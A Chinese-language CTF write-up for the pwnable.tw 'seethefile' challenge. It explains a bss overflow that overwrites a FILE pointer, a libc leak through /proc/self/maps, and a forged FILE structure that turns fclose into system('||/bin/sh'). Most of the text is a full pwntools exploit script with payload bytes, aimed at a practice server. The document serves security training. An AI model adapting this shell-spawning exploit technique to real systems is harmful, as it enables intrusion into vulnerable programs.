【PWNABLE.TW】 seethefile 解题思路

题目功能

main函数中一共4个功能,openfile、readfile、writefile、closefile。

其中,在最后退出时有一个明显的溢出,是scanf(“%s”,&name);

name位于bss段上,name下面有一个fp用于存储文件指针,可以被覆盖。

再看其他函数:

openfile.只有一个简单的输入并打开,保存文件指针在bss段上的fp变量中:

readfile,从fp所指的文件中每次读取0x18F字节字节到magicbuf中,这个变量也在bss段上。

writefile无法读取含有flag、FLAG、}的字符串,是一个打印函数

漏洞利用

由于无法覆盖栈上内容,仅能覆盖bss段上空间,因此想法是覆盖fp指针,通过伪造fp指针进一步利用,这种利用方法在如下文章中已经给出:

http://www.evil0x.com/posts/13764.html

另外一个重要的点在于libc的泄露。

由于linux独特的文件形式存储,文件的内存信息存储与/proc/pid/maps中,这里pid使用self来代替,如下图:

因此libc可以通过该方式泄露。

伪造file指针的过程,可以通过上面的链接中大致了解,最终的步骤是构造file对象的内容,由于最终要执行fclose(fp),这一函数,而fclose中用户可控的函数指针执行位置在fclose如下位置,

因此必须要使fclose执行到该位置,其决定性作用的是前2个字节,可以通过动态调试来获得,将fclose(fp),转化为system(fp),而fp的前两个字节有太重要的作用,建议不要动。

可以用’||/bin/sh’的方法执行获得shell。

至于前两个字节的调试,需要通过动态调试fclose的方法一步一步来找。

捷径的方法是用链接中给到用stderr内容来最初构建。

另外,题目中的输入方法是可以输入\x00的,算是个福利吧。

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
from pwn import *
debug = 0
elf = ELF('./seethefile')
if debug:
p = process('./seethefile')
libc = ELF('./libc.local.so')
#off = 0x001b2000
context.log_level = 'debug'
#gdb.attach(p)
else:
p = remote('chall.pwnable.tw', 10200)
libc = ELF('./libc_32.so.6')
#off = 0x001b0000



p.recvuntil('Your choice :')
p.sendline('1')
p.recvuntil('What do you want to see :')
p.sendline('/proc/self/maps')
p.recvuntil('Your choice :')
p.sendline('2')
p.recvuntil('Your choice :')
p.sendline('2')
p.recvuntil('Your choice :')
p.sendline('3')
cache = p.recvuntil('Your choice :')
cache_part = cache.split('\n')
libc_start_addr = 0
for i in cache_part:
if 'libc' in i:
libc_start_addr = int(i[0:8],16)
break
if libc_start_addr == 0:
print '[-] didnot find libc addr. exit'
exit(0)
system_libc = libc.symbols['system']
system_libc_addr = libc_start_addr + system_libc
log.success('find system:'+hex(system_libc_addr))
p.sendline('5')
p.recvuntil('Leave your name :')

#gdb.attach(p,'b *0x8048b04')

start =0x8048a37 # elf.symbols['puts']#
fake_file_start = 0x804b280+0x4
fake_file_jmp = fake_file_start + 180

padding = 'p4nda'
padding = padding.ljust(0x20,'!') + p32(fake_file_start)
bin_sh = '||/bin/sh'
start = system_libc_addr
exp_back_main = '\x86\xb4\xad\xfb'+bin_sh+'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x60\x8d\x6b\xf7\x02\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\x00\x00\x00\x00\x64\x98\x6b\xf7\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x24\x84\x6b\xf7\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'+p32(fake_file_jmp)+'\x00\x00\x00\x00\x00\x00\x00\x00'

exp_back_main = exp_back_main.ljust(180,'b')
print len(exp_back_main)
exp_back_main+= p32(start)*15 + p32(start)*8

p.sendline(padding + exp_back_main)
p.recvuntil('see you next time')
p.sendline('cd /home/seethefile/')
p.sendline('./get_flag')
p.recvuntil('magic :')
p.sendline('Give me the flag\0')
p.interactive()

#backup
#exp_back_main = '\x86\xb4\xad\xfb\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x60\x8d\x6b\xf7\x02\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\x00\x00\x00\x00\x64\x98\x6b\xf7\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x24\x84\x6b\xf7\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'+p32(fake_file_jmp)+'\x00\x00\x00\x00\x00\x00\x00\x00'
#'\x00\x00\x00\x00\x00\x00\x00\x00\x00'

#dustbin
#exp_back_main = '\x86\x21\xad\xfbAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x21\xba\xfb\xf7\x02AAAAAAA\xff\xff\xff\xffAA\x08A\x60\xb2\x04\x08\xff\xff\xff\xff\xff\xff\xff\xffAAAA\x60\xbb\xfb\xf7AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x80\xaa\xfb\xf7AAAA'+p32(fake_file_jmp)#0804B260
#exp_back_main = '\x86\x91\xad\xfb\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x21\xba\x04\x08\x02\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\x00\x00\x00\x00\x60\xb2\x04\x08\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x60\xb2\x04\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'+p32(fake_file_jmp)+'\x00\x00\x00\x00\x00\x00\x00\x00'
#exp_back_main = p32(fake_file_start) * 0x11 + 'aa' + '\x04' + 'a' + p32(fake_file_jmp) * 0x13 + p32(fake_file_jmp) * 2
文章目录
  1. 1. 题目功能
  2. 2. 漏洞利用
  3. 3. EXP
|